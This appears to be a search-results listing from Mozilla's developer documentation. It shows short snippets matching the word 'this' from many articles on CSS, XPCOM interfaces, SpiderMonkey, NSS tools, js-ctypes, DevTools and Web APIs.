this article and its sub-articles we'll run through the different types in great detail, seeing how they work.
...for example, if i have the same css for an h1 and also a class of .special, i could write
this as two separate rules.
... when you group selectors in
this way, if any selector is invalid the whole rule will be ignored.
...And 7 more matches
Test your skills: sizing - Learn web development
the aim of
this task is to help you check your understanding of some of the values and units that we looked at in the lesson on sizing items in css.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
... task one in
this task, you have two boxes.
...And 7 more matches
Test your skills: values and units - Learn web development
the aim of
this task is to help you check your understanding of some of the values and units that we looked at in the lesson on css values and units.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
... task one in
this task, the first list item has been given a background color using hex color codes.
...And 7 more matches
Test your skills: floats - Learn web development
the aim of
this task is to get you working with the css float and clear properties covered in our lesson on floats.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
... floats one in
this task you need to float the two elements with a class of float1 and float2 left and right respectively.
...And 7 more matches
Multiple-column layout - Learn web development
this article explains how to use
this feature.
...
this means that you will not get exactly the width that you specify, unless your container is exactly divisible by that width.
...in
this case the content breaks when the spanning element is introduced and continues below creating a new set of column boxes.
...And 7 more matches
What is a URL? - Learn web development
this article discusses uniform resource locators (urls), explaining what they are and how they're structured.
...in the early days of the web, a path like
this represented a physical file location on the web server.
...don't worry about
this, you don't need to know them to build and use fully functional urls.
...And 7 more matches
How the Web works - Learn web development
this theory is not essential to writing web code in the short term, but before long you'll really start to benefit from understanding what's happening in the background.
...a simplified diagram of how they interact might look like
this: clients are the typical web user's internet-connected devices (for example, your computer connected to your wi-fi, or your phone connected to your mobile network) and web-accessing software available on those devices (usually a web browser like firefox or chrome).
...
this is like the transport mechanisms that let you place an order, go to the shop, and buy your goods.
...And 7 more matches
Introduction to HTML - Learn web development
this module will introduce the first two of these and introduce fundamental concepts and syntax you need to know to understand html.
... get started prerequisites before starting
this module, you don't need any previous html knowledge, but you should have at least basic familiarity with using computers and using the web passively (i.e., just looking at it and consuming content).
... guides
this module contains the following articles, which will take you through all the basic theory of html and provide ample opportunity for you to test out some skills.
...And 7 more matches
Test your skills: Strings - Learn web development
this aim of
this skill test is to assess whether you've understood our handling text — strings in javascript and useful string methods articles.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
... you'll find that you get an error at
this point.
...And 7 more matches
JavaScript First Steps - Learn web development
get started prerequisites before starting
this module, you don't need any previous javascript knowledge, but you should have some familiarity with html and css.
...in
this first article we will look at javascript from a high level, answering questions such as "what is it?", and "what is it doing?", and making sure you are comfortable with javascript's purpose.
...never fear —
this article aims to save you from tearing your hair out over such problems by providing you with some simple tips on how to find and fix errors in javascript programs.
...And 7 more matches
Server-side website programming first steps - Learn web development
in
this module we answer a few fundamental questions about server-side programming — "what is it?", "how does it differ from client-side programming?", and "why is it so useful?".
... prerequisites before starting
this module, you don't need to have any knowledge of server-side website programming, or indeed any other type of programming.
... with that basic understanding, you'll be ready to work your way through the modules in
this section.
...And 7 more matches
Git and GitHub - Learn web development
this module aims to teach you what you need to know about both of them.
... overview vcses are essential for software development: it is rare that you will work on a project completely on your own, and as soon as you start working with other people you start to run the risk of conflicting with each other's work —
this is when both of you try to update the same piece of code at the same time.
...you might have started doing
this in your own work by creating different versions of the same file, e.g.
...And 7 more matches
Accessible Toolkit Checklist
in
this case, adding a complete or even a partial accessibility solution is major work, and will require more than one full time person as well as cooperation from windows assistive technology vendors when parts of your msaa solution isn't working.
... the checklist
this checklist is currently only for microsoft windows, but should be expanded to include information about linux and os x.
...
this is one reason why a label must be created together with each widget, rather than separately.
...And 7 more matches
Theme concepts
themes developed using the webextensions api in firefox enable you to change the look of the browser by adding images to the header area of the firefox browser;
this is the area behind the menu bar, toolbars, address bar, search bar, and tab strip.
... if you have a lightweight theme it will be converted to
this new theme format automatically before lightweight themes are deprecated.
... defining a theme to create a theme (in
this example a simple, single image theme): create a folder in a suitable location on your computer.
...And 7 more matches
Simple Instantbird build
this page covers the basic steps needed to build a bleeding-edge, development version of instantbird.
...
this should be kept in sync with simple thunderbird build, you might want to take a look at that page too.
...
this will provide status feedback during the lengthy clone / download process.
...And 7 more matches
Contributing to the Mozilla code base
this page should guide you through the initial steps of contributing to mozilla.
...we're always looking for ways to improve
this process: making mozilla more open, accessible, and easier to participate with.
... if you're having any trouble following
this documentation, or hit a barrier you can't get around, please contact mike hoye at mhoye@mozilla.com.
...And 7 more matches
Performance
this highlights some performance pitfalls related to frame scripts/message manager usage and alternative approaches to avoid them.
... do some work on the window } function dosomething(message) { result = helper(content, message.data) sendasyncmessage("my-addon:response-from-child", {something: result}) } addmessagelistener("my-addon:request-from-parent", dosomething) why is
this bad?
...and since frame scripts get evaluated for each tab
this means new function objects get instantiated, new constants get computed, block scopes must be set up etc.
...And 7 more matches
Embedding Tips
this interface also has methods for reloading, stopping a load and going back and forward in the history.
...you can abort the uri load at
this point if you don't want it to proceed.
...
this is recommended if you intend anything other than the uri or document your browser is looking at.
...And 7 more matches
Gecko Keypress Event
this behavior helps the internationalization of web applications that have custom shortcut keys.
...e.g., ctrl+shift+'2' on persian keyboard layout inputs a zwnj, though shift+'2' inputs '@', and so, if gecko were to replace the charcode in
this case, users would not be able to input zwnj (bug 414130).
...gecko uses the character from
this keyboard layout for the ctrl key also.
...And 7 more matches
HTML parser threading
this way, the queues into which tree ops are produced and the queues from which they are consumed don't need to involve a mutex on each modification.
...(
this indeed means that removing parser-created nodes from the dom during parsing doesn't release memory until the parser stops parsing, which is, in theory, a problem for long polling using html in an iframe e.g.
...
this method returns immediately if another invocation of it is already on the call stack (nested event loop case).
...And 7 more matches
Getting Started with Chat
this page is being retained for historical and reference purposes.
...
this takes the channel off the public list of active channels and topics.
...if
this happens, you can type
this command to resolve
this issue.
...And 7 more matches
Implementing Download Resuming
this document describes how an embedder or other gecko/necko-using application can implement download resuming.
...
this means that if a download was interrupted, it can be resumed from that point on, rather than regetting the whole file.
... the necko implementations of http 1.1 (rfc 2616) as well as ftp support
this feature.
...And 7 more matches
OS.File.Info
os.file.error && reason.becausenosuchfile) { // |somepath| does not represent anything } else { // some other error } } ) example: determining the owner of a file let promise = os.file.stat() promise.then( function onsuccess(info) { if ("unixowner" in info) { // info.unixowner holds the owner of the file } else { // information is not available on
this platform } } ); evolution of
this example bug 802534 will introduce the ability to check whether field unixowner appears in os.file.info.prototype, which will make it possible to write faster code.
...(as of firefox 38
this is always true on all systems,
this is a bug: bugzilla 1145885) (on windows
this returns false for hard links) size the number of bytes in the file.
...before deprecation,
this used to be the date at which the file was created on windows and mac os x, as a javascript date object.
...And 7 more matches
Localization sign-off reviews
this article presents an overview of why we do sign-off reviews of localizations, the details on the criteria used for the sign-off reviews, and the process for requesting a review and for following its progress.
...we use
this review process to perform quality assurance (qa) testing on your l10n efforts.
...
this ensures that every user who downloads your localized mozilla application receives all of your hard work in a functional product.
...And 7 more matches
L20n Javascript API
this array (with defaultlocale appended to it if it is not already present) will be used to negotiate the fallback chain for the user.
...if you don't call
this function, l20n will use the built-in intl.prioritizelocales negotiator.
...in
this case, addresource(string) and linkresource(string) might be better suited for adding resources.
...And 7 more matches
NSPR's Position On Abrupt Thread Termination
this memo describes my position on a facility that is currently under discussion for inclusion in the netscape portable runtime (nspr); the ability of a thread to abruptly exit.
... i resist including
this function in nspr because it results in bad programming practice and unsupportable programs.
...
this practice does not extend to threads.
...And 7 more matches
NSS tools : ssltab
you can use
this option to upload the output into a browser.
...if you are intercepting an ssl connection, use
this option so that the tool can detect and decode ssl structures.
...
this option uses the same output format as the -h option.
...And 7 more matches
NSS tools : ssltap
you can use
this option to upload the output into a browser.
...if you are intercepting an ssl connection, use
this option so that the tool can detect and decode ssl structures.
...
this option uses the same output format as the -h option.
...And 7 more matches
OLD SSL Reference
old ssl reference we are migrating
this ssl reference into the format described in the mdn style guide.
... if you are inclined to help with
this migration, your help would be very much appreciated.
...
this chapter introduces some of the basic ssl functions.
...And 7 more matches
NSS tools : ssltap
you can use
this option to upload the output into a browser.
...if you are intercepting an ssl connection, use
this option so that the tool can detect and decode ssl structures.
...
this option uses the same output format as the -h option.
...And 7 more matches
64-bit Compatibility
this article focuses on hacking tracemonkey code generation (jstracer.cpp, jsregex.cpp) in ways that will work on both 32-bit and 64-bit jit backends.
...for example, consider
this code: #define pointer_tagbits 3 static inline uintptr_t unmaskpointer(uintptr_t v) { return v & ~pointer_tagbits; } the value 3 will be inverted to 0xfffffffc, then zero-extended to 0x00000000fffffffc - a subtle and nasty bug, assuming it is unintended.
... the best way to fix
this is to make types explicit, such as: const uintptr_t pointer_tagbits = 3 or by using a cast inside the macro.
...And 7 more matches
Garbage collection
this allows compartments to be used for security checks: objects in the same compartment have the same access requirements, so no checks are needed, but checks may be done when traversing cross-compartment wrappers.
...
this information has been split out into a separate article: exact stack rooting.
... to understand how
this barrier works, first assume that we're going to do an incremental gc during which no new objects are allocated, just to keep things simple.
...And 7 more matches
SpiderMonkey Internals
this document is talking about partially obsolete things.
...most string methods are customized to accept a primitive string as the
this argument.
...(xul fastload uses
this.) just-in-time compiler spidermonkey contains a baseline compiler as first tier.
...And 7 more matches
JSPropertyOp
in js_threadsafe builds, the javascript engine calls
this callback only from within an active request on cx.
...
this is either a string (unicode property identifier) or an integer (element index).
...the meaning of
this variable is different for each of the hooks; see below.
...And 7 more matches
JS_AlreadyHasOwnProperty
this article covers features introduced in spidermonkey 1.8 determine whether a property is already physically present on a jsobject.
...in a js_threadsafe build, the caller must be in a request on
this jscontext.
...by design,
this search may not find a property that other property lookup functions, such as js_lookupproperty, would find.
...And 7 more matches
Parser API
this makes it easier to write tools in javascript that manipulate javascript source programs, such as syntax highlighters, static analyses, translators, compilers, obfuscators, etc.
... note:
this page describes spidermonkey-specific behavior and might be incomplete.
...
this string is not meaningful to the parsing process, but is produced as part of the source location information in the returned ast nodes.
...And 7 more matches
SpiderMonkey 1.8.8
please let us know about your experiences with
this release by posting in the mozilla.dev.tech.js-engine newsgroup.
... (the msstdint project includes an implementation of
this header for microsoft visual studio which demonstrates what the c99 interface looks like.) otherwise, if the compiler doesn't provide a usable <stdint.h> header, a custom implementation shipped with the spidermonkey source is used.
... currently only versions of visual studio prior to 2010 (also known as version 10) are known to be deficient in
this manner, so the custom implementation (which is compatible with the one shipped in visual studio 2010 and later) is only invoked for those compilers.
...And 7 more matches
SpiderMonkey 31
please let us know about your experiences with
this release by posting in the mozilla.dev.tech.js-engine newsgroup.
... after
this method is called, normal jsapi operations are permitted.
...
this entailed changing the vast majority of the jsapi from raw types, such as js::value or js::value*, to js::handle and js::mutablehandle template types that encapsulate access to the provided value/string/object or its location.
...And 7 more matches
Mozilla Projects
this system is combination of projects: emscripten emscripten is an llvm to javascript compiler.
...it provides a number of functions and capabilities, including: mccoy mccoy uses xulrunner which is bound to break, for details see
this post.
... internet explorer supports the ability to make an entire document editable by setting the designmode property of the document object;
this is how midas is invoked in gecko.
...And 7 more matches
XForms Accessibility
intoduction
this article provides a quick guide to how accessibility is handled in gecko for xforms..
... at api accessible properties
this section describes common rules how accessibility properties are formed for forms control elements.
...
this section lists accessible presentations for form control elements.
...And 7 more matches
The Places database
this document provides a high-level overview of the overall database design of the places system.
... the places schema looks like so: core url table moz_places:
this is the main table of uris and is managed by the history service (see also history service design).
... any time a places component wants to reference a url, whether visited or not, it refers to
this table.
...And 7 more matches
Creating a Python XPCOM component
this is probably best done by setting a pythonpath variable pointing at the 'bin/python' directory in the application.
...
this is not necessary when your components are loaded by mozilla as the python loader modifies sys.path.
...defining the interface make a file named "nsipysimple.idl" to define the interface: #include "nsisupports.idl" [scriptable, uuid(2b324e9d-a322-44a7-bd6e-0d8c83d94883)] interface nsipysimple : nsisupports { attribute string yourname; void write( ); void change(in string avalue); };
this is the same as the nsisimple interface used here.
...And 7 more matches
NS ConvertUTF16toUTF8 external
@param newsize size the string to
this length.
... prbool operator!=(const char*) const - source parameters char* other equalsliteral prbool equalsliteral(const char*) const - source parameters char* other find print32 find(const nsacstring&, print32 (*)(const char*, const char*, pruint32)) const - source find the first occurrence of astr in
this string.
... @return the offset of astr, or -1 if not found parameters nsacstring& astr print32 (*)(char*, char*, pruint32) c print32 find(const nsacstring&, pruint32, print32 (*)(const char*, const char*, pruint32)) const - source find the first occurrence of astr in
this string, beginning at aoffset.
...And 7 more matches
NS LossyConvertUTF16toASCII external
@param newsize size the string to
this length.
... prbool operator!=(const char*) const - source parameters char* other equalsliteral prbool equalsliteral(const char*) const - source parameters char* other find print32 find(const nsacstring&, print32 (*)(const char*, const char*, pruint32)) const - source find the first occurrence of astr in
this string.
... @return the offset of astr, or -1 if not found parameters nsacstring& astr print32 (*)(char*, char*, pruint32) c print32 find(const nsacstring&, pruint32, print32 (*)(const char*, const char*, pruint32)) const - source find the first occurrence of astr in
this string, beginning at aoffset.
...And 7 more matches
PromiseFlatCString (External)
@param newsize size the string to
this length.
... prbool operator!=(const char*) const - source parameters char* other equalsliteral prbool equalsliteral(const char*) const - source parameters char* other find print32 find(const nsacstring&, print32 (*)(const char*, const char*, pruint32)) const - source find the first occurrence of astr in
this string.
... @return the offset of astr, or -1 if not found parameters nsacstring& astr print32 (*)(char*, char*, pruint32) c print32 find(const nsacstring&, pruint32, print32 (*)(const char*, const char*, pruint32)) const - source find the first occurrence of astr in
this string, beginning at aoffset.
...And 7 more matches
nsACString (External)
@param newsize size the string to
this length.
... prbool operator!=(const char*) const - source parameters char* other equalsliteral prbool equalsliteral(const char*) const - source parameters char* other find print32 find(const nsacstring&, print32 (*)(const char*, const char*, pruint32)) const - source find the first occurrence of astr in
this string.
... @return the offset of astr, or -1 if not found parameters nsacstring& astr print32 (*)(char*, char*, pruint32) c print32 find(const nsacstring&, pruint32, print32 (*)(const char*, const char*, pruint32)) const - source find the first occurrence of astr in
this string, beginning at aoffset.
...And 7 more matches
nsCAutoString (External)
@param newsize size the string to
this length.
... prbool operator!=(const char*) const - source parameters char* other equalsliteral prbool equalsliteral(const char*) const - source parameters char* other find print32 find(const nsacstring&, print32 (*)(const char*, const char*, pruint32)) const - source find the first occurrence of astr in
this string.
... @return the offset of astr, or -1 if not found parameters nsacstring& astr print32 (*)(char*, char*, pruint32) c print32 find(const nsacstring&, pruint32, print32 (*)(const char*, const char*, pruint32)) const - source find the first occurrence of astr in
this string, beginning at aoffset.
...And 7 more matches
nsCStringContainer (External)
@param newsize size the string to
this length.
...char*) const - source parameters char other equalsliteral prbool equalsliteral(const char*) const - source parameters char other find(const nsacstring&, print32 (*) print32 find(const nsacstring&, print32 (*)(const char*, const char*, pruint32)) const - source find the first occurrence of astr in
this string.
... @return the offset of astr, or -1 if not found parameters nsacstring astr print32* c find(const nsacstring&, pruint32, print32 (*) print32 find(const nsacstring&, pruint32, print32 (*)(const char*, const char*, pruint32)) const - source find the first occurrence of astr in
this string, beginning at aoffset.
...And 7 more matches
nsCString external
@param newsize size the string to
this length.
... prbool operator!=(const char*) const - source parameters char* other equalsliteral prbool equalsliteral(const char*) const - source parameters char* other find print32 find(const nsacstring&, print32 (*)(const char*, const char*, pruint32)) const - source find the first occurrence of astr in
this string.
... @return the offset of astr, or -1 if not found parameters nsacstring& astr print32 (*)(char*, char*, pruint32) c print32 find(const nsacstring&, pruint32, print32 (*)(const char*, const char*, pruint32)) const - source find the first occurrence of astr in
this string, beginning at aoffset.
...And 7 more matches
nsDependentCString external
@param newsize size the string to
this length.
... prbool operator!=(const char*) const - source parameters char* other equalsliteral prbool equalsliteral(const char*) const - source parameters char* other find print32 find(const nsacstring&, print32 (*)(const char*, const char*, pruint32)) const - source find the first occurrence of astr in
this string.
... @return the offset of astr, or -1 if not found parameters nsacstring& astr print32 (*)(char*, char*, pruint32) c print32 find(const nsacstring&, pruint32, print32 (*)(const char*, const char*, pruint32)) const - source find the first occurrence of astr in
this string, beginning at aoffset.
...And 7 more matches
nsDependentCSubstring external
@param newsize size the string to
this length.
... prbool operator!=(const char*) const - source parameters char* other equalsliteral prbool equalsliteral(const char*) const - source parameters char* other find print32 find(const nsacstring&, print32 (*)(const char*, const char*, pruint32)) const - source find the first occurrence of astr in
this string.
... @return the offset of astr, or -1 if not found parameters nsacstring& astr print32 (*)(char*, char*, pruint32) c print32 find(const nsacstring&, pruint32, print32 (*)(const char*, const char*, pruint32)) const - source find the first occurrence of astr in
this string, beginning at aoffset.
...And 7 more matches
nsLiteralCString (External)
@param newsize size the string to
this length.
... prbool operator!=(const char*) const - source parameters char* other equalsliteral prbool equalsliteral(const char*) const - source parameters char* other find print32 find(const nsacstring&, print32 (*)(const char*, const char*, pruint32)) const - source find the first occurrence of astr in
this string.
... @return the offset of astr, or -1 if not found parameters nsacstring& astr print32 (*)(char*, char*, pruint32) c print32 find(const nsacstring&, pruint32, print32 (*)(const char*, const char*, pruint32)) const - source find the first occurrence of astr in
this string, beginning at aoffset.
...And 7 more matches
nsLiteralString (External)
@param newsize size the string to
this length.
... prbool operator!=(const char*) const - source parameters char* other equalsliteral prbool equalsliteral(const char*) const - source parameters char* other find print32 find(const nsacstring&, print32 (*)(const char*, const char*, pruint32)) const - source find the first occurrence of astr in
this string.
... @return the offset of astr, or -1 if not found parameters nsacstring& astr print32 (*)(char*, char*, pruint32) c print32 find(const nsacstring&, pruint32, print32 (*)(const char*, const char*, pruint32)) const - source find the first occurrence of astr in
this string, beginning at aoffset.
...And 7 more matches
IAccessibleTableCell
other-licenses/ia2/accessibletablecell.idlnot scriptable
this interface gives access to the cells of a two-dimensional table.
...ong columnextents, [out] boolean isselected ); [propget] hresult rowextent([out] long nrowsspanned ); [propget] hresult rowheadercells([out, size_is(, nrowheadercells,)] iunknown cellaccessibles, [out] long nrowheadercells ); [propget] hresult rowindex([out] long rowindex ); [propget] hresult table([out] iunknown table ); methods columnextent() returns the number of columns occupied by
this cell accessible.
...columnindex() translates
this cell accessible into the corresponding column index.
...And 7 more matches
nsIAuthModule
netwerk/base/public/nsiauthmodule.idlscriptable
this interface is intended to be used as server and client authentication service.
...the req_mutual_auth flag may also need to be specified in order for
this flag to take effect.
... methods getnexttoken()
this method is called to get the next token in a sequence of authentication steps.
...And 7 more matches
nsICacheService
66 introduced gecko 1.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)
this interface is no longer supported and planned to be removed soon: use nsicachestorageservice instead.
... methods createsession()
this method creates a cache session.
...the storagepolicy must be consistent with the value of
this field.
...And 7 more matches
nsIConsoleService
obsolete since gecko 19 (firefox 19 / thunderbird 19 / seamonkey 2.16)
this feature is obsolete.
...if no messages are logged,
this function will return a count of 0, but allocating a placeholder word for messages, showing as a 0-length array when called from the script.
...if no messages are logged,
this function will return a count of 0, but allocating a placeholder word for messages, showing as a 0-length array when called from the script.
...And 7 more matches
nsICookieManager2
netwerk/cookie/nsicookiemanager2.idlscriptable please add a summary to
this article.
... last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsicookiemanager
this interface is included in the services.jsm javascript code module.
... to create an object implementing
this interface: components.utils.import("resource://gre/modules/services.jsm"); var cookieservice = services.cookies; method overview void add(in autf8string ahost, in autf8string apath, in acstring aname, in acstring avalue, in boolean aissecure, in boolean aishttponly, in boolean aissession, in print64 aexpiry); boolean cookieexists(in nsicookie2 acookie); unsigned long countcookiesfromhost(in autf8string ahost); boolean findmatchingcookie(in nsicookie2 acookie, out unsigned long acountfromhost); obsolete since gecko 1.9 nsisimpleenumerator getcookiesfromhost(in autf8string ahost); void importcookies(in nsifile acookiefile); methods add() adds a cookie.
...And 7 more matches
nsICryptoHMAC
netwerk/base/public/nsicryptohmac.idlscriptable
this interface provides hmac signature algorithms.
... constant value description md2 1 message digest algorithm 2 md5 2 message-digest algorithm 5 sha1 3 secure hash algorithm 1 sha256 4 secure hash algorithm 256 sha384 5 secure hash algorithm 384 sha512 6 secure hash algorithm 512 methods finish() completes
this hmac object and produces the actual hmac diegest data.
... note:
this method may be called any time after init() is called.
...And 7 more matches
nsIDragService
inherits from: nsisupports last changed in gecko 43 (firefox 43 / thunderbird 43 / seamonkey 2.40) note: using
this interface directly from add-on code is deprecated.
...
this is used on mac and windows to update the position of a popup being used as a drag image during the drag operation.
...
this is called when an external drag occurs.
...And 7 more matches
nsIEditorIMESupport
editor/idl/nsieditorimesupport.idlscriptable please add a summary to
this article.
...obsolete since gecko 2.0 attributes attribute type description composing boolean whether
this editor has active ime transaction.
... methods native code only!begincomposition obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)
this feature is obsolete.
...And 7 more matches
nsIFrameScriptLoader
idl file: mozilla-central/source/dom/base/nsimessagemanager.idl inherits from: nsisupports
this interface is used to load frame scripts.
... if
this function is called on a chromemessagebroadcaster (for example, a global frame message manager or a window message manager) then: loadframescript() will load the frame script independently into each applicable frame: every open frame in the given window for the window message manager, or every frame in every window for the global message manager if aallowdelayedload is true, then the script wi...
... if
this function is called on a chromemessagesender: it will load the frame script only into
this chromemessagesender's frame aallowdelayedload should always be true.
...And 7 more matches
nsIInstallLocation
1.0 66 introduced gecko 1.8 obsolete gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) note: while
this api still works, firefox 4 no longer extracts xpis by default, so
this will now point to the xpi file instead of to the directory.
...
this is different from restricted because it's not whether or not the location *might* be restricted, it's whether or not it actually *is* restricted right now.
... itemlocations nsidirectoryenumerator an enumeration of nsifiles for: locations that contain items potential dropped-in xpis note:
this enumeration resolves text links to the directories they refer to.
...And 7 more matches
nsIJetpack
js/jetpack/nsijetpack.idlscriptable
this interface enables communication between the chrome process and a remote jetpack process.
...*/); void registerreceiver(in astring amessagename, in jsval areceiver); void unregisterreceiver(in astring amessagename, in jsval areceiver); void unregisterreceivers(in astring amessagename); void evalscript(in astring ascript); nsivariant createhandle(); void destroy(); methods sendmessage()
this method asynchronously sends a message to the jetpack process.
... registerreceiver()
this registers a callback to be triggered whenever the jetpack process sends a particular message.
...And 7 more matches
nsILocalFileMac
xpcom/io/nsilocalfilemac.idlscriptable please add a summary to
this article.
...native code only!inittoappwithcreatorcode obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)
this feature is obsolete.
...init
this object to point to an application having the given creator code.
...And 7 more matches
nsIMacDockSupport
this can be used, for example, to display the number of unread messages in an email client.
...the application should call
this to activate itself when one of its dock menu items are selected, since doing so does not automatically activate the application.
...
this is created by using the dockmenu attribute of nsimacdocksupport here: http://mxr.mozilla.org/mozilla-release/source/browser/base/content/browser.js#1562
this is seen here: if you were to copy and follow that example you would replace the default native menu.
...And 7 more matches
nsIMsgIdentity
bccothers boolean bcclist astring dobcc boolean dobcclist astring draftfolder astring stationeryfolder astring showsavemsgdlg boolean directoryserver astring overrideglobalpref boolean autocompletetomydomain boolean if
this is false, don't append the user's domain to an autocomplete address with no matches.
... valid boolean determines if the ui should use
this identity and the wizard uses
this to determine whether or not to ask the user to complete all the fields.
... smtpserverkey astring the preferred smtp server for
this identity.
...And 7 more matches
nsISound
widget/public/nsisound.idlscriptable
this interface provides a way to play sounds.
... inherits from: nsisupports last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) warning:
this interface should not be used to play custom sounds in modern code.
... note that nsisound instances may play the sounds using another thread; however,
this is not controlled by the caller.
...And 7 more matches
nsISyncMessageSender
send messagename and obj to the "other side" of
this message manager.
...
this invokes listeners who registered for messagename using a nsimessagelistenermanager.
...
this becomes the name property of the received message.
...And 7 more matches
nsITaskbarPreviewController
widget/public/nsitaskbarpreviewcontroller.idlscriptable
this interface is used on microsoft windows to provide the behavior of taskbar previews.
... 1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) clients should provide their own implementation of
this interface.
...
this value may change at any time.
...And 7 more matches
nsIAbCard/Thunderbird3
note:
this interface has been overhauled completely for thunderbird 3.
... void deleteproperty(in autf8string name); autf8string translateto(in autf8string atype); void copy(in nsiabcard srccard) boolean equals(in nsiabcard card) astring generatephoneticname(in boolean alastnamefirst) attributes attribute type description properties nsisimpleenumerator readonly: a list of all the properties that
this card has as an enumerator, whose members are all nsiproperty objects.
...
this will be removed from the interface at a later date.
...And 7 more matches
xptcall FAQ
porting
this code is required in order to make mozilla run on any given platform.
... given the correct set of parameters,
this function can call any method on any xpcom interface.
...the information in the typelibs allows xpconnect to convert function parameters and build the nsxptcvariant array required to make
this call.
...And 7 more matches
Thunderbird Configuration Files
warning: the content of
this article may be out of date.
... config editor many of the tips and tricks mentioned on
this site can be applied by using the built-in config editor.
...
this will display a list of used preferences, as well as a search bar at the top.
...And 7 more matches
Activity Manager examples
this content covers features introduced in thunderbird 3 the activity manager is a simple component that understands how to display a combination of user activity and history.
... components.classes["@mozilla.org/activity-process;1"].createinstance(nsiap); // assuming folder is an instance of nsimsgfolder interface // localization is omitted, initiator is not provided process.init("processing folder: " + folder.prettiestname, null); // note that we don't define a custom icon, default process icon // will be used process.contexttype = "account"; // group
this activity by account process.contextobj = folder.server; // account in question gactivitymanager.addactivity(process); // step 2: showing some progress let percent = 50; process.setprogress(percent, "junk processing 25 of 50 messages", 25, 50); // step 3: removing the process and adding an event using process' attributes process.state = components.interfaces.nsiactivityprocess.state_completed...
...nit(folder.prettiestname + " is processed", null, "no junk found", process.starttime, // start time date.now()); // completion time event.contexttype = process.contexttype; // optional event.contextobj = process.contextobj; // optional gactivitymanager.addactivity(event); showing a user-defined activity with cancel capability (javascript)
this sample improves the previous one by providing an nsiactivitycancelhandler to allow the user to cancel the process.
...And 7 more matches
Using the Mozilla symbol server
this allows debugging of those builds without forcing all users to download large debugging files.
...you cannot visit
this url directly: you must add it to the symbol path of your debugging tool.
...to use only the mozilla symbol server, add the following entry to your symbol path (note: you can replace c:\symcache\ with any writable directory on your computer, if you'd prefer a different location for downloaded symbols): srv*c:\symcache\*https://symbols.mozilla.org/ set
this string as _nt_symbol_path in the environment, using the windbg menus, or by typing the .sympath command.
...And 7 more matches
ctypes.open
this must be called before any work can commence.
... there are two options: custom native file (dll, so, dylib, etc.) standard os libraries custom native file for
this method, a native file must be created.
... int add(int a, int b) { return a + b; } to make
this a shared library, a native file which can be loaded and used from js-ctypes, compile it with these commands: gcc -fpic -c mycfuntionsforunix.c gcc -shared -o mycfuntionsforunix.so mycfuntionsforunix.o a file named mycfuntionsforunix.so is successfully created.
...And 7 more matches
Using js-ctypes
this is as simple as including the following line of code in the desired javascript scope: components.utils.import("resource://gre/modules/ctypes.jsm") loading a native library once you've imported the code module, you can call the ctypes.open() method to load each native library you wish to use.
... on windows, for example, you might load the system user32 library like
this: var lib = ctypes.open("user32.dll"); on mac os x, you can load the core foundation library from the core foundation framework like
this: var corefoundation = ctypes.open("/system/library/frameworks/corefoundation.framework/corefoundation"); the returned object is a library object that you use to declare functions and data types for use with the loaded library.
... windows on windows, the following locations are searched for the library, in
this order: the application's directory.
...And 7 more matches
ArrayType
if you don't specify
this parameter, the array's length is unspecified.
... for primitive types,
this is just the name of the corresponding c type.
... for structure and opaque pointer types,
this is simply the string that was passed to the constructor.
...And 7 more matches
Tutorial: Show Allocations Per Call Path - Firefox Developer Tools
tutorial: show allocations per call path
this page shows how to use the debugger api to show how many objects a web page allocates, sorted by the function call path that allocated them.
...(
this menu will not be present unless you have changed the preference as explained above.) selecting the 'browser' context in the scratchpad enter the following code in the scratchpad: //
this simply defines the 'debugger' constructor in
this // scratchpad; it doesn't actually start debugging anything.
...
this function is available in the browser // console.
...And 7 more matches
Flame Chart - Firefox Developer Tools
this gives you a way to know exactly which function was executing at any point during the recording, how long it ran for, and where it was called from.
... but while the call tree organizes
this data to show you where your program is spending most time in aggregate across the recording, the flame chart uses it to show you when in the recording particular functions are executing.
...
this gives you a way to know exactly which function was executing at any point during the recording, how long it ran for, and where it was called from.
...And 7 more matches
Style Editor - Firefox Developer Tools
this is where the source for the selected style sheet is available for you to read and edit.
...
this makes it easy to experiment with, revise, and test changes.
...
this makes it much easier to work on pages that have been optimized.
...And 7 more matches
Cache - Web APIs
this is functionally equivalent to calling fetch(), then using put() to add the results to the cache.
... examples
this code snippet is from the service worker selective caching sample.
...though there's only one cache in
this example, the same approach can be used for multiple caches.
...And 7 more matches
DataTransferItem.webkitGetAsEntry() - Web APIs
this function is implemented as webkitgetasentry() in non-webkit browsers including firefox at
this time; it may be renamed to simply getasentry() in the future, so you should code defensively, looking for both.
...
this will be either filesystemfileentry or filesystemdirectoryentry.
... example in
this example, a drop zone is created, which responds to the drop event by scanning through the dropped files and directories, outputting a hierarchical directory listing.
...And 7 more matches
FileReader - Web APIs
note:
this feature is available in web workers.
...
this is one of the following: empty 0 no data has been loaded yet.
...
this property is only valid after the read operation is complete, and the format of the data depends on which of the methods was used to initiate the read operation.
...And 7 more matches
FileSystemEntrySync - Web APIs
warning:
this api was never accepted and never became standardized.
... methods getmetadata() look up metadata about
this entry.
... [ todo: specify what kind of metadata ] metadata getmetada () raises (fileexception); parameter none returns metadata exceptions
this method can raise a fileexception with the following codes: exception description not_found_err the entry does not exist.
...And 7 more matches
Introduction to the File and Directory Entries API - Web APIs
about
this document
this introduction discusses essential concepts and terminology in the file and directory entries api.
...to learn more about terminology used in
this api, see the definitions section.
... for examples of features you can create with
this app, see the sample use cases section.
...And 7 more matches
Using FormData Objects - Web APIs
creating a formdata object from scratch you can build a formdata object yourself, instantiating it then appending fields to it by calling its append() method, like
